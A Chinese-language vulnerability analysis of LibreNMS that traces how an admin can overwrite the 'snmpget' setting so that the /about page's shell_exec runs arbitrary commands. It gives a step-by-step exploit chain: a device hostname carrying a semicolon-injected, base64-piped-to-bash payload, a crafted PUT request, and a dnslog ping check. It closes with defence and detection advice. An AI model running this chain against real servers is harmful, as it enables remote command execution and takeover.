当配置成了炸弹:利用 LibreNMS snmpget 配置篡改实现 RCE 的完整攻击链
字数 2018 2025-11-10 12:02:51
LibreNMS配置篡改与远程命令执行漏洞分析
漏洞概述
本文详细分析LibreNMS系统中存在的配置篡改与任意命令执行漏洞。该漏洞允许攻击者通过篡改配置文件中的snmpget键值,利用shell_exec函数执行任意系统命令,形成完整的攻击链。
系统架构背景
LibreNMS是基于Laravel框架开发的网络监控系统,使用Illuminate作为路由组件。系统在route目录下定义了api、web和console三个不同业务方面的路由。
关键路由分析
- 路由路径:
/settings/1 - 请求方法:PUT
- 控制器:
SettingsController类的update方法 - 中间件:
can:admin(验证管理员权限) - 参数:ID参数为1,可选参数通过?传递
漏洞原理分析
核心漏洞点
在about页面访问时,version_netsnmp的值通过shell_exec执行系统命令获得:
shell_exec(Config::get('snmpget') . ' -V');
默认情况下执行的是snmpget命令路径,但如果能篡改config中snmpget键对应的值,就能实现任意命令执行。
配置篡改途径
通过分析Config类,发现存在set方法可以修改配置值。虽然直接搜索Config::set未发现可利用点,但通过分析发现:
- 间接调用途径:
Config类内部使用self::set进行配置设置 - Arr::set方法:
set方法实际使用Laravel框架的Arr::set方法操作数组 - persist方法:发现
Config::persist方法中使用了Arr::set,且参数可控
关键代码分析
class SettingsController extends Controller {
public function update(DynamicConfig $config, Request $request, $id) {
$value = $request->get('value');
if (! $config->isValidSetting($id)) {
return $this->jsonResponse($id, ':id is not a valid setting', null, 400);
}
$current = \LibreNMS\Config::get($id);
$config_item = $config->get($id);
if (! $config_item->checkValue($value)) {
return $this->jsonResponse($id, $config_item->getValidationMessage($value), $current, 400);
}
if (\LibreNMS\Config::persist($id, $value)) { // 漏洞触发点
return $this->jsonResponse($id, "Successfully set $id", $value);
}
return $this->jsonResponse($id, 'Failed to update :id', $current, 400);
}
}
绕过安全检查
checkValue方法对value进行检查,由于value类型为"executable",需要满足:
- 必须是一个可执行文件
- 不能携带参数
绕过方法:
- 使用分号
;分隔多个命令 - 利用路径穿越结合命令注入
- 示例payload:
/tmp/;ping a12dsa.dnslog.cn;bin/ls
高级绕过技巧:
- 使用base64编码绕过特殊字符限制
- 示例:
echo dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash
攻击链构建
第一步:创建可控目录
需要找到创建或重命名目录的功能点:
方法一:设备添加功能
- 访问Device → Add Device
- 任意填写Hostname或IP
- 选择Force add强制添加(避免SNMP检查失败)
方法二:设备重命名功能
通过分析发现rename()函数可用于重命名host,从而创建包含payload的目录名。
第二步:等待目录生成
系统通过计划任务轮询设备,在rrd目录下生成以hostname命名的文件用于保存监控图像。
第三步:修改设备主机名
- 转到Device界面
- 点击右上角设置
- 修改hostname为payload格式:
xxx; echo dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash;#
第四步:篡改snmpget配置
发送PUT请求修改snmpget配置:
PUT /settings/snmpget HTTP/1.1
Host: target.com
Cookie: [有效会话cookie]
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 16
{"value":"../rrd/xxx; echo dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash;bin/echo"}
第五步:触发命令执行
访问/about页面触发shell_exec执行,验证命令执行结果。
漏洞复现步骤
环境准备
- 正常部署的LibreNMS系统
- 具有管理员权限的账户
- 访问目标系统的权限
详细复现流程
-
添加测试设备
- 导航至Device → Add Device
- Hostname填写:
testdevice - 勾选Force add选项
- 确认添加设备
-
等待计划任务执行
- 系统会在rrd目录下生成
testdevice相关文件 - 等待约5-10分钟确保文件生成完成
- 系统会在rrd目录下生成
-
修改设备主机名
- 进入Device界面选择刚添加的设备
- 点击右上角设置按钮
- 修改Hostname为payload格式
-
发送配置篡改请求
- 使用Burp Suite或curl发送PUT请求
- 确保包含有效的管理员会话cookie
- 请求体包含精心构造的payload
-
触发并验证
- 访问
/about页面 - 检查服务器上是否成功创建测试文件(如
/tmp/vuln_test)
- 访问
技术要点总结
漏洞利用条件
- 攻击者需要具备管理员权限
- 系统需要启用SNMP相关功能
- 需要能够添加或修改设备信息
防御建议
- 输入验证强化:对配置值进行严格的白名单验证
- 命令执行安全:避免使用shell_exec执行动态配置的命令
- 权限控制:严格限制配置修改权限
- 路径限制:对文件路径进行规范化处理,防止路径穿越
检测方法
- 监控Config::persist方法的调用
- 检查snmpget配置值的异常修改
- 监控about页面的异常访问模式
扩展利用可能性
- 持久化后门:通过修改配置建立持久化访问
- 横向移动:利用系统权限访问网络内其他设备
- 数据窃取:获取监控数据中的敏感信息
本漏洞分析展示了从配置篡改到远程命令执行的完整攻击链,强调了在网络监控系统中安全配置管理的重要性。